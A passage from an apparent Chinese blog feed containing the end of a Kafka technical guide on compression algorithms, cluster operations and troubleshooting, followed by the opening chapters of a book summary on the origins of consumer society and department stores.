class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">技术原理：</span><br><span class="line">- 基于DEFLATE算法，结合LZ77和Huffman编码</span><br><span class="line">- 通过查找重复字符串模式实现压缩</span><br><span class="line">- 适合文本数据和结构化数据</span><br><span class="line"></span><br><span class="line">性能特点：</span><br><span class="line">- 压缩比：通常达到3-5:1，最高可达10:1</span><br><span class="line">- CPU消耗：高，压缩和解压都比较耗时</span><br><span class="line">- 内存使用：中等，需要维护字典</span><br><span class="line"></span><br><span class="line">适用场景：</span><br><span class="line">- 离线数据处理和存储</span><br><span class="line">- 存储成本是主要考虑因素</span><br><span class="line">- CPU资源充足，延迟要求不严格</span><br></pre></td></tr></table></figure></li><li><p><strong>Snappy压缩算法</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">技术原理：</span><br><span class="line">- 由Google开发，专注于压缩/解压速度</span><br><span class="line">- 使用简化的LZ77算法</span><br><span class="line">- 牺牲一定压缩比换取性能</span><br><span class="line"></span><br><span class="line">性能特点：</span><br><span class="line">- 压缩比：通常2-3:1</span><br><span class="line">- CPU消耗：中等，平衡了速度和压缩比</span><br><span class="line">- 内存使用：低，算法简单</span><br><span class="line"></span><br><span class="line">适用场景：</span><br><span class="line">- 实时数据处理</span><br><span class="line">- CPU和延迟都有一定要求</span><br><span class="line">- Kafka的默认推荐选择</span><br></pre></td></tr></table></figure></li><li><p><strong>LZ4压缩算法</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">技术原理：</span><br><span class="line">- 极速压缩算法，专注于速度</span><br><span class="line">- 简化的字典查找机制</span><br><span class="line">- 解压速度极快</span><br><span class="line"></span><br><span class="line">性能特点：</span><br><span class="line">- 压缩比：1.5-2.5:1</span><br><span class="line">- CPU消耗：很低，适合高并发场景</span><br><span class="line">- 内存使用：很低</span><br><span class="line"></span><br><span class="line">适用场景：</span><br><span class="line">- 超低延迟要求</span><br><span class="line">- 高并发实时处理</span><br><span class="line">- CPU资源受限环境</span><br></pre></td></tr></table></figure></li><li><p><strong>ZSTD压缩算法</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">技术原理：</span><br><span class="line">- 由Facebook开发的现代压缩算法</span><br><span class="line">- 可调节的压缩级别（1-22）</span><br><span class="line">- 结合了多种优化技术</span><br><span class="line"></span><br><span class="line">性能特点：</span><br><span class="line">- 压缩比：2-8:1（根据压缩级别）</span><br><span class="line">- CPU消耗：可调节，从低到高</span><br><span class="line">- 内存使用：可配置</span><br><span class="line"></span><br><span class="line">适用场景：</span><br><span class="line">- 需要灵活配置压缩策略</span><br><span class="line">- 追求最佳压缩比</span><br><span class="line">- 新版本Kafka的推荐选择</span><br></pre></td></tr></table></figure></li></ol><p><strong>Kafka中压缩机制的工作流程</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant B as Broker    participant C as Consumer    Note over P: Producer端压缩    P-&gt;&gt;P: 1. 收集消息到批次    P-&gt;&gt;P: 2. 对整个批次进行压缩    P-&gt;&gt;B: 3. 发送压缩后的数据    Note over B: Broker端存储    B-&gt;&gt;B: 4. 直接存储压缩数据    Note over B: 不解压，保持压缩状态    Note over C: Consumer端解压    C-&gt;&gt;B: 5. 拉取压缩数据    B-&gt;&gt;C: 6. 返回压缩数据    C-&gt;&gt;C: 7. 解压获得原始消息</code></pre><p><strong>压缩策略的配置建议</strong>：</p><p>根据不同业务场景选择合适的压缩算法：</p><pre><code class="highlight mermaid">flowchart TD    Start[选择压缩算法] --&gt; Priority&#123;主要优化目标&#125;    Priority --&gt;|存储成本| Storage[存储优化]    Priority --&gt;|网络带宽| Network[带宽优化]    Priority --&gt;|处理延迟| Latency[延迟优化]    Priority --&gt;|CPU资源| CPU[CPU优化]    Storage --&gt; StorageChoice[推荐：GZIP或ZSTD&lt;br/&gt;高压缩比，节省存储]    Network --&gt; NetworkChoice[推荐：GZIP或ZSTD&lt;br/&gt;减少网络传输]    Latency --&gt; LatencyChoice[推荐：LZ4或Snappy&lt;br/&gt;快速压缩解压]    CPU --&gt; CPUChoice[推荐：LZ4&lt;br/&gt;最低CPU消耗]    style StorageChoice fill:#4caf50    style NetworkChoice fill:#4caf50    style LatencyChoice fill:#2196f3    style CPUChoice fill:#ff9800</code></pre><p><strong>压缩效果的实测数据</strong>：</p><p>以JSON格式的日志数据为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">测试数据：10MB JSON日志文件</span><br><span class="line">原始大小：10,485,760 字节</span><br><span class="line"></span><br><span class="line">GZIP压缩：</span><br><span class="line">- 压缩后大小：2,097,152 字节 (2MB)</span><br><span class="line">- 压缩比：5:1</span><br><span class="line">- 压缩耗时：850ms</span><br><span class="line">- 解压耗时：120ms</span><br><span class="line"></span><br><span class="line">Snappy压缩：</span><br><span class="line">- 压缩后大小：3,145,728 字节 (3MB)</span><br><span class="line">- 压缩比：3.33:1</span><br><span class="line">- 压缩耗时：180ms</span><br><span class="line">- 解压耗时：45ms</span><br><span class="line"></span><br><span class="line">LZ4压缩：</span><br><span class="line">- 压缩后大小：4,194,304 字节 (4MB)</span><br><span class="line">- 压缩比：2.5:1</span><br><span class="line">- 压缩耗时：80ms</span><br><span class="line">- 解压耗时：25ms</span><br></pre></td></tr></table></figure><p><strong>压缩技术的最佳实践</strong>：</p><ol><li><p><strong>Producer端配置</strong>：</p><figure class="highlight properties"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启用压缩</span></span><br><span class="line"><span class="attr">compression.type</span>=<span class="string">snappy</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># 配合批处理使用</span></span><br><span class="line"><span class="attr">batch.size</span>=<span class="string">32768</span></span><br><span class="line"><span class="attr">linger.ms</span>=<span class="string">10</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># 原因：批次越大，压缩效果越好</span></span><br></pre></td></tr></table></figure></li><li><p><strong>Topic级别配置</strong>：</p><figure class="highlight properties"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在Topic创建时指定压缩类型</span></span><br><span class="line"><span class="attr">compression.type</span>=<span class="string">gzip</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># 清理策略配合压缩</span></span><br><span class="line"><span class="attr">cleanup.policy</span>=<span class="string">delete</span></span><br><span class="line"><span class="attr">retention.bytes</span>=<span class="string">10737418240  # 10GB</span></span><br></pre></td></tr></table></figure></li><li><p><strong>监控指标</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">关键指标：</span><br><span class="line">- 压缩前后数据大小比率</span><br><span class="line">- Producer压缩延迟</span><br><span class="line">- Consumer解压延迟</span><br><span class="line">- CPU使用率变化</span><br><span class="line">- 存储空间节省量</span><br></pre></td></tr></table></figure></li></ol><p>通过合理选择和配置压缩算法，可以在保证性能的前提下显著降低Kafka集群的存储和网络成本。</p><hr><h2 id="第六章：集群管理与运维">第六章：集群管理与运维</h2><h3 id="6-1-分区重平衡机制">6.1 分区重平衡机制</h3><pre><code class="highlight mermaid">sequenceDiagram    participant C1 as Consumer 1    participant C2 as Consumer 2    participant C3 as New Consumer    participant GC as Group Coordinator    C3-&gt;&gt;GC: Join Group    GC-&gt;&gt;C1: Rebalance Signal    GC-&gt;&gt;C2: Rebalance Signal    C1-&gt;&gt;GC: Leave Group    C2-&gt;&gt;GC: Leave Group    GC-&gt;&gt;GC: Partition Assignment    GC-&gt;&gt;C1: New Assignment    GC-&gt;&gt;C2: New Assignment    GC-&gt;&gt;C3: New Assignment</code></pre><p><strong>重平衡触发条件</strong>：</p><ul><li>Consumer加入或离开Consumer Group</li><li>Topic的Partition数量变化</li><li>Consumer超时未发送心跳</li></ul><h3 id="6-2-监控指标体系">6.2 监控指标体系</h3><pre><code class="highlight mermaid">graph TD    subgraph &quot;Broker指标&quot;        B1[消息吞吐量]        B2[请求延迟]        B3[磁盘使用率]        B4[网络使用率]    end    subgraph &quot;Topic指标&quot;        T1[消息生产速率]        T2[消息消费速率]        T3[消费延迟]        T4[分区分布]    end    subgraph &quot;Consumer指标&quot;        C1[消费Lag]        C2[重平衡频率]        C3[处理耗时]        C4[错误率]    end</code></pre><p><strong>关键性能指标</strong>：</p><ul><li><strong>Producer Metrics</strong>：发送速率、错误率、批次大小</li><li><strong>Broker Metrics</strong>：磁盘I/O、网络I/O、副本同步延迟</li><li><strong>Consumer Metrics</strong>：消费lag、重平衡时间、处理延迟</li></ul><h3 id="6-3-容量规划">6.3 容量规划</h3><pre><code class="highlight mermaid">graph TD    R[业务需求] --&gt; T[吞吐量计算]    R --&gt; S[存储容量计算]    R --&gt; N[网络带宽计算]    T --&gt; P[分区数规划]    S --&gt; D[磁盘规划]    N --&gt; B[Broker数量规划]    P --&gt; Config[集群配置]    D --&gt; Config    B --&gt; Config</code></pre><p><strong>规划要素</strong>：</p><ul><li><strong>分区数量</strong>：基于并发消费需求和单分区性能限制</li><li><strong>副本因子</strong>：基于可用性要求和存储成本</li><li><strong>存储配置</strong>：基于消息保留时间和磁盘I/O性能</li></ul><hr><h2 id="第七章：故障排查与问题解决">第七章：故障排查与问题解决</h2><h3 id="7-1-消息丢失排查">7.1 消息丢失排查</h3><pre><code class="highlight mermaid">flowchart TD    Start[消息丢失] --&gt; PC&#123;Producer配置检查&#125;    PC --&gt;|acks!=all| P1[设置acks=all]    PC --&gt;|正常| BC&#123;Broker配置检查&#125;    BC --&gt;|副本不足| B1[增加副本因子]    BC --&gt;|正常| CC&#123;Consumer配置检查&#125;    CC --&gt;|自动提交| C1[改为手动提交]    CC --&gt;|正常| LC[检查日志文件]</code></pre><p><strong>排查步骤</strong>：</p><ol><li>检查Producer的acks和retries配置</li><li>验证Broker的副本同步状态</li><li>确认Consumer的offset提交策略</li><li>分析Broker和Consumer的错误日志</li></ol><h3 id="7-2-性能瓶颈诊断">7.2 性能瓶颈诊断</h3><pre><code class="highlight mermaid">graph TD    PB[性能瓶颈] --&gt; CPU&#123;CPU使用率&#125;    PB --&gt; MEM&#123;内存使用率&#125;    PB --&gt; DISK&#123;磁盘I/O&#125;    PB --&gt; NET&#123;网络I/O&#125;    CPU --&gt;|高| C1[优化序列化&lt;br/&gt;减少GC]    MEM --&gt;|高| M1[调整JVM参数&lt;br/&gt;优化缓存]    DISK --&gt;|高| D1[增加分区&lt;br/&gt;优化存储]    NET --&gt;|高| N1[启用压缩&lt;br/&gt;增加带宽]</code></pre><p><strong>性能调优策略</strong>：</p><ul><li><strong>JVM调优</strong>：合理设置堆大小和GC参数</li><li><strong>操作系统调优</strong>：调整文件描述符限制和网络参数</li><li><strong>Kafka配置调优</strong>：优化批处理、压缩、副本同步参数</li></ul><h3 id="7-3-数据一致性问题">7.3 数据一致性问题</h3><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant L as Leader    participant F as Follower    participant C as Consumer    P-&gt;&gt;L: Send Message (offset=100)    L-&gt;&gt;L: Write to Log    L-&gt;&gt;F: Replicate    Note over L,F: 网络分区发生    L-&gt;&gt;C: High Watermark=99    Note over L,F: Follower选为新Leader    F-&gt;&gt;C: High Watermark=98    Note over C: 数据回滚</code></pre><p><strong>一致性保证机制</strong>：</p><ul><li><strong>High Watermark</strong>：确保只消费已被所有ISR确认的消息</li><li><strong>Leader Epoch</strong>：防止日志截断导致的数据不一致</li><li><strong>幂等性Producer</strong>：避免重复消息导致的数据异常</li></ul><hr><h2 id="第八章：高级特性与扩展">第八章：高级特性与扩展</h2><h3 id="8-1-事务支持">8.1 事务支持</h3><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant TC as Transaction Coordinator    participant B1 as Broker 1    participant B2 as Broker 2    P-&gt;&gt;TC: Begin Transaction    TC-&gt;&gt;P: Transaction ID    P-&gt;&gt;B1: Send Message (TXN)    P-&gt;&gt;B2: Send Message (TXN)    P-&gt;&gt;TC: Commit Transaction    TC-&gt;&gt;B1: Commit Marker    TC-&gt;&gt;B2: Commit Marker</code></pre><p><strong>事务特性</strong>：</p><ul><li><strong>原子性</strong>：多分区写入的原子性保证</li><li><strong>隔离性</strong>：读取已提交的事务消息</li><li><strong>幂等性</strong>：避免重复发送导致的数据重复</li></ul><h3 id="8-2-Exactly-Once语义">8.2 Exactly-Once语义</h3><pre><code class="highlight mermaid">graph TD    EOS[Exactly-Once Semantics] --&gt; IP[幂等性Producer]    EOS --&gt; T[事务支持]    EOS --&gt; RI[消费端幂等性]    IP --&gt; PID[Producer ID]    IP --&gt; SN[Sequence Number]    T --&gt; TID[Transaction ID]    T --&gt; TCO[Transaction Coordinator]    RI --&gt; UO[业务唯一标识]    RI --&gt; DT[外部存储去重]</code></pre><p><strong>实现机制</strong>：</p><ul><li>Producer端：PID + Sequence Number实现幂等性</li><li>跨分区：事务机制保证原子性</li><li>Consumer端：业务层面的去重逻辑</li></ul><h3 id="8-3-流处理集成">8.3 流处理集成</h3><pre><code class="highlight mermaid">graph LR    K1[Kafka Topic A] --&gt; KS[Kafka Streams]    K2[Kafka Topic B] --&gt; KS    KS --&gt; K3[Kafka Topic C]    KS --&gt; K4[Kafka Topic D]    subgraph &quot;Stream Processing&quot;        KS --&gt; F[Filter]        KS --&gt; M[Map]        KS --&gt; A[Aggregate]        KS --&gt; J[Join]    end</code></pre><p><strong>Kafka Streams特性</strong>：</p><ul><li>无需额外集群，直接基于Kafka Client</li><li>支持窗口操作、状态存储、故障恢复</li><li>与Kafka生态深度集成</li></ul><hr><h2 id="总结与实践建议">总结与实践建议</h2><h3 id="核心技术要点">核心技术要点</h3><ol><li><strong>架构理解</strong>：分布式存储、副本机制、分区策略</li><li><strong>性能优化</strong>：零拷贝、批处理、压缩算法</li><li><strong>可靠性保证</strong>：ISR机制、故障恢复、事务支持</li><li><strong>运维监控</strong>：指标体系、容量规划、故障排查</li></ol><h3 id="技术栈集成建议">技术栈集成建议</h3><pre><code class="highlight mermaid">graph TB    subgraph &quot;数据采集层&quot;        A1[应用日志] --&gt; Kafka        A2[业务事件] --&gt; Kafka        A3[监控指标] --&gt; Kafka    end    subgraph &quot;流处理层&quot;        Kafka --&gt; KS[Kafka Streams]        Kafka --&gt; Flink[Apache Flink]        Kafka --&gt; Storm[Apache Storm]    end    subgraph &quot;存储层&quot;        KS --&gt; ES[Elasticsearch]        Flink --&gt; HBase[HBase]        Storm --&gt; Redis[Redis]    end</code></pre><h3 id="持续学习路径">持续学习路径</h3><ol><li><strong>深入源码</strong>：理解核心算法和数据结构</li><li><strong>性能调优</strong>：JVM调优、操作系统调优、网络优化</li><li><strong>生态工具</strong>：Kafka Connect、Schema Registry、Confluent Platform</li><li><strong>流处理框架</strong>：Kafka Streams、Apache Flink、Apache Storm</li></ol><p>通过系统性学习Kafka的技术原理和实践应用，能够在分布式系统设计和微服务架构中发挥其最大价值。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/kafka/</id>
    <link href="https://www.blog-blockchain.xyz/dev/kafka/"/>
    <published>2025-06-18T19:21:20.000Z</published>
    <summary>Apache Kafka是现代分布式架构中的核心消息中间件，以其高吞吐量、低延迟和强一致性著称。本指南从分布式系统基础出发，深入剖析Kafka的技术架构、性能优化原理和生产实践，帮助开发者全面掌握这一关键技术。</summary>
    <title>Kafka分布式消息系统技术指南</title>
    <updated>2026-02-19T16:18:34.259Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="career" scheme="https://www.blog-blockchain.xyz/categories/career/"/>
    <category term="marketing" scheme="https://www.blog-blockchain.xyz/categories/career/marketing/"/>
    <category term="consumer" scheme="https://www.blog-blockchain.xyz/tags/consumer/"/>
    <category term="marketing" scheme="https://www.blog-blockchain.xyz/tags/marketing/"/>
    <content>
      <![CDATA[<blockquote><p>还没阅读完，有时间阅读完后会更新。<br><a href="https://book.douban.com/subject/35921760/">https://book.douban.com/subject/35921760/</a></p></blockquote><h2 id="第一章-商品的降生：市场的形成和商品拜物教">第一章 商品的降生：市场的形成和商品拜物教</h2><p>这一章是全书的基石，要解决一个根本问题：在人们普遍自给自足、与世隔绝的情况下，一个依赖大规模商品交换的消费社会，其最基本的物质和思想前提是如何被创造出来的？</p><p>作者从三个环环相扣的层面，揭示了商品如何从一件普通的劳动产品，转变为充满魔力的消费符号。</p><h3 id="1-物理革命：速度战胜距离">1. 物理革命：速度战胜距离</h3><p>在19世纪初，世界是一个由无数孤立的农民社群组成的集合体。人们自己建造房屋、缝制衣服、种植粮食。商品流通极为困难，因为当时的道路泥泞不堪，运输速度和步行差不多，成本极高。这导致即便相隔不远的两个地方，也可能一边物产富足，另一边却在闹饥荒。</p><p>转折点是<strong>蒸汽机车的发明</strong>。这不仅仅是技术进步，更是一场空间和时间的革命：</p><ul><li><strong>打破隔绝</strong>：火车这种快速、准时、风雨无阻的工具，首次实现了大规模、远距离的货物运输。从巴黎到马赛，时间从18世纪的184小时缩短到1887年的13小时。</li><li><strong>市场形成</strong>：铁路将生产中心（工厂）与消费中心（城市）紧密连接起来，一个真正意义上的全国性甚至全球性市场得以形成。</li></ul><h3 id="2-观念转变：商品带来了幻觉">2. 观念转变：商品带来了幻觉</h3><p>物理上的连接带来了更深远的社会和心理变化：</p><ul><li><p><strong>从为自己生产到为世界生产</strong>：随着市场形成，人们不再以满足自身需求为首要目标，而是优先生产那些「卖得好」的商品，然后用赚来的钱去购买自己需要的东西。生产与消费的环节被彻底分开了。</p></li><li><p><strong>商品拜物教（Commodity Fetishism）</strong>：这是本章的核心概念，源自马克思。当一件商品摆在面前时，人们完全不了解它的生产过程：谁制造了它？在怎样的劳动条件下？付出了多少艰辛？商品的生产背景被完全掩盖，仿佛是凭空出现的、独立而神奇的存在。</p></li></ul><p>以猪肉为例：过去，村民亲身参与杀猪、放血、分割的全过程，清楚地知道里脊、排骨在猪身上的具体位置。而今天的消费者面对的只是超市冷柜里用薄膜包装好的、抽象的「猪肉产品」，它与那头活生生的、冒着热气的猪已经毫无关系。</p><h3 id="3-商业对策：品牌让产品重生">3. 商业对策：品牌让产品重生</h3><p>生产的匿名化和商品的抽象化，催生了一个致命问题：<strong>信任</strong>。消费者凭什么相信一个遥远、陌生的公司生产的罐头食品是安全可靠的？</p><p>答案就是<strong>品牌（Branding）</strong>：</p><ul><li><p><strong>建立信任</strong>：品牌的首要功能是给消费者安全感，让一个匿名的工业产品显得有温度、有信誉。消费者不再需要每次都亲自检验商品，只需要信赖某个品牌即可。</p></li><li><p><strong>创造符号价值</strong>：品牌很快展现出更大的潜力。它通过「符号工程」，将一系列与产品本身无关的价值和想象（如青春、地位、健康、性感）注入其中。消费者购买的不再是汽车，而是「阳刚、刺激、地位和新潮」的载体。</p></li><li><p><strong>垄断知识</strong>：品牌让消费者不再关注产品的实际成分，而是深陷其营造的「奇妙魔力」中。大企业通过品牌垄断了最基本的技术和化学知识，使商品的符号价值可以与其内容物完全无关。最典型的例子就是瓶装水，水本身差异极小，但依云、富维克等品牌却能通过广告赋予其不同的价值，并卖出天差地别的价格。</p></li></ul><p><strong>小结</strong>：第一章描绘了消费社会诞生的「三部曲」：首先，<strong>铁路</strong>打破了物理世界的壁垒；接着，<strong>劳动分工</strong>切断了人与产品的天然联系，催生了<strong>商品拜物教</strong>的幻觉；最后，<strong>品牌</strong>横空出世，它不仅解决了信任危机，更成为了创造和贩卖符号价值的强大工具，彻底重塑了人与物的关系。</p><hr><h2 id="第二章-商品大观：百货商店和「逛街」">第二章 商品大观：百货商店和「逛街」</h2><p>如果说第一章为消费社会打下了<strong>物质地基</strong>（铁路）和<strong>概念地基</strong>（品牌），那么第二章就是讲述了如何为商品建造一座宏伟、华丽的 <strong>「剧场」</strong> 。这个「剧场」就是——<strong>百货商店</strong>。百货商店并非简单地卖东西，而是通过一系列革命性的手段，<strong>制造了一种全新的、充满感官诱惑的人与商品的关系，并将「逛街」（Shopping）本身变成了一种现代休闲娱乐活动</strong>。</p><h3 id="1-为何出现？城市化催生的新物种">1. 为何出现？城市化催生的新物种</h3><p>19世纪，人口涌入城市，城市生活变得日益商业化和娱乐化。人们渴望新奇的视觉体验和公共娱乐，从世博会到各类「秀」，城市本身变成了一个巨大的游乐园。</p><p>在这样的背景下，传统的商业模式显得格格不入：</p><ul><li><p><strong>旧式商店</strong>：通常是专卖一类商品的小店，商品被藏在柜台后，价格需要激烈地讨价还价，而且店主非常不欢迎只逛不买的「闲人」。</p></li><li><p><strong>百货商店的革命</strong>：它建立在完全相反的逻辑上——<strong>以低利润、高周转率来刺激销量</strong>。为此，它必须吸引海量顾客，并进行了一系列创新：</p><ul><li><strong>商品多样化</strong>：设立多个「部门」（department），将万千商品汇于一处。</li><li><strong>自由出入、明码标价</strong>：顾客可以随意闲逛，没有购买压力，也无需讲价。</li><li><strong>自由退换</strong>：降低了顾客冲动购物的顾虑。</li></ul></li></ul><h3 id="2-如何运作？一套精心的陈设技巧">2. 如何运作？一套精心的陈设技巧</h3><p>百货商店不仅是卖场，更是一个精心设计的「消费圣地」，其核心在于通过陈设技巧操控顾客的感官与心理：</p><ul><li><p><strong>制造富足与混乱</strong>：商品被海量地堆砌，甚至故意弄得「零乱」，以最炽烈的色彩互相辉映，制造出一种富足到仿佛要溢出来的视觉冲击。</p></li><li><p><strong>刻意的寻宝游戏</strong>：商家会<strong>频繁调换货架</strong>，并将热门商品放在难找的地方，目的是让顾客在「寻宝」的过程中停留更久，从而「一不小心就会有新的发现」，买下更多东西。</p></li><li><p><strong>营造幻境</strong>：</p><ul><li><strong>建筑与装修</strong>：利用铁、玻璃、镜子等新材料，建造出宫殿般华丽、宏大的空间，让顾客目眩神迷。</li><li><strong>场景仿真</strong>：打造各种「亦假亦真」的异国情调布景（如埃及神庙、日本花园），或是模仿上流社会的「沙龙式」陈列室，让商品在梦幻般的场景中显得更有魅力。</li></ul></li></ul><h3 id="3-带来什么？「逛街」的兴起与女性的「解放」">3. 带来什么？「逛街」的兴起与女性的「解放」</h3><p>百货商店的出现，深刻地改变了社会文化：</p><ul><li><p><strong>「逛街」成为一种社交活动</strong>：百货商店里配备了餐厅、阅览室、托儿所等设施，其目的就是让顾客（尤其是女性）把这里当作「第二个家」，长时间停留。「逛街」不再是简单的采购任务，而被推广成一种与逛博物馆、看戏剧类似的消遣和娱乐。</p></li><li><p><strong>女性的「港湾」与「课堂」</strong> ：在女性被禁锢于家庭的19世纪，百货商店为她们提供了一个体面、安全的公共社交场所。同时，它也像一所「资产阶级文化速成班」，通过不断更新的商品和陈设，向中产阶级女性传授上流社会的审美、时尚和生活方式，贩卖着一种可以通过消费获得的「阶级身份」。</p></li><li><p><strong>引发道德恐慌</strong>：这种现象也引起了当时保守派的震惊。热爱购物的女性被描绘成欲望失控、道德堕落的形象，甚至催生了对「盗窃癖」的病理学研究。这种盗窃行为恰恰是百货商店成功的标志——它制造的诱惑已经超出了人们的经济承受能力和理性控制范围。</p></li></ul><h3 id="4-留下什么？一种「让人上头」的商业模式">4. 留下什么？一种「让人上头」的商业模式</h3><p>百货商店的技巧并非都是原创，但它的伟大之处在于将这些技巧<strong>集于一身并制度化</strong>，完成了大众商品文化的基础建设。</p><p>这种模式被后来的商业形态完美继承和发扬：</p><ul><li><strong>宜家（IKEA）</strong>：其样板间和固定的浏览路线，正是19世纪百货商店场景设计和顾客动线管理的延续。</li><li><strong>阿贝克隆比&amp;费奇（A&amp;F）</strong>：通过昏暗的灯光、强烈的音乐和性感的店员，制造多重感官刺激，让顾客处于「情绪亢奋」状态，从而促进冲动消费。</li><li><strong>商品管理学（Merchandising）</strong>：这门学科将过去的经验系统化、科学化，通过分析顾客轨迹来优化商店布局，以实现利润最大化。</li></ul><p><strong>小结</strong>：第二章展示了，消费主义不仅需要商品，更需要一个能<strong>持续激发欲望、教育消费者、并让消费行为本身充满乐趣的「剧场」</strong> 。百货商店正是这个「剧场」的开创者，它所发明的一系列感官刺激和心理诱导的技巧，至今仍在被我们身边的各种商业形态娴熟地运用着。</p><hr><h2 id="第三章-商品动力学：「同与不同」概念下的矩阵传播">第三章 商品动力学：「同与不同」概念下的矩阵传播</h2><p>如果说前两章讲述了消费社会的「硬件」（铁路、百货商店），那么这一章则揭示了驱动这台机器运转的<strong>核心「软件」——即深层的社会心理动力</strong>。要回答的问题是：<strong>人们为什么会无休止地追逐商品？驱动这股潮流的根本力量是什么？</strong></p><p>答案不在于商品本身，而在于19世纪一个新兴阶级的<strong>身份焦虑</strong>。</p><h3 id="1-焦虑的阶级：资产阶级的物质文化">1. 焦虑的阶级：资产阶级的物质文化</h3><p>消费文化的起源，是19世纪的<strong>资产阶级文化</strong>。这是一个极为尴尬和矛盾的阶级：</p><ul><li>他们来自平民，拼命想摆脱体力劳动的「低级」。</li><li>他们渴望成为贵族，却又被真正的老贵族所鄙视和嘲笑。</li></ul><p>卡在中间的资产阶级，必须找到一种方式来<strong>证明和巩固自己的地位</strong>。财富是基础，但还不够，更重要的是通过物质来展现自己的<strong>品味、教养和生活方式</strong>。于是，他们的家，尤其是客厅，就成了这场身份战争的主要<strong>战场</strong>。他们用看似杂乱的、来自不同时代风格的家具和大量无用的装饰品填满空间，目的是 <strong>「购买」一种他们自身并不具备的历史感和贵族气息</strong>。甚至家里的仆人数量和女主人的穿着打扮，都成了彰显男主人财富和地位的「活的陈列品」。</p><h3 id="2-欲望的引擎：「求同」与「求异」的张力">2. 欲望的引擎：「求同」与「求异」的张力</h3><p>现代消费社会是靠一种 <strong>「同与不同」的双重机制</strong> 来驱动的：</p><ul><li><p><strong>求异（Seeking Distinction）</strong>：上层阶级为了彰显自己的独特性，会采用一些难以模仿的、独特的符号（比如某种新潮的服饰、一种独特的休闲方式）。他们的核心恐惧是变得「大众化」，因为那等于社会地位的降级。</p></li><li><p><strong>求同（Seeking Sameness）</strong>：而中下层阶级则会努力<strong>模仿</strong>上层阶级的品味和消费，希望借此融入更高的社会阶层。</p></li></ul><p>这种「向上模仿」和「向下区隔」的持续张力，导致了一种 <strong>「涓滴理论」（Trickle-down Theory）</strong> 的现象：</p><p>一件商品或一种风格，首先被精英阶层采用 → 接着被中产阶级模仿和追捧 → 随着工业化复制，它变得廉价并普及到大众 → 最终，精英阶级因其变得「俗气」而将其抛弃，转而去寻找新的、独特的符号。</p><p>这个永不停止的循环，就是时尚和潮流更迭的本质，也是让商品「潮起潮落」、促使人们不断消费的根本引擎。</p><h3 id="3-消费的先锋：三种「原始消费者」形象">3. 消费的先锋：三种「原始消费者」形象</h3><p>三种最早掌握了这种消费游戏规则的先锋人物，他们是现代消费者的原型：</p><ul><li><p><strong>丹迪主义者（The Dandy）</strong>：他们是「自我创造」的大师，将自身打扮成一件艺术品，以此创造出一种「新的贵族气质」。他们的武器不是血统或财富，而是无与伦比的、独创的个人品味。</p></li><li><p><strong>波西米亚艺术家（The Bohémien）</strong>：他们鄙视资产阶级的庸俗，追求一种边缘、本真的艺术生活。然而，他们与资产阶级形成了一种奇特的共生关系：艺术家负责创造新的、独特的时尚和品味，而资产阶级则追随和购买这些「品味」，以彰显自己的与众不同。</p></li><li><p><strong>收藏家（The Collector）</strong>：资产阶级通过收藏艺术品和古董，来对抗工业化复制品的「平庸」，并为自己「暴发户」的身份增添一层「世袭的恩典」。</p></li></ul><p><strong>小结</strong>：第三章告诉我们，消费的动力并非来自商品本身的功能，而是源于现代社会中<strong>围绕「阶级地位」展开的符号战争</strong>。人们购买商品，很大程度上是在购买一种<strong>社会身份</strong>，是在用一种物质化的语言，向他人宣告「我是谁」、「我属于哪个群体」、「我与你们不同」。这种基于「模仿」与「区隔」的永恒竞赛，为消费主义提供了源源不断的、永不枯竭的驱动力。</p><hr><h2 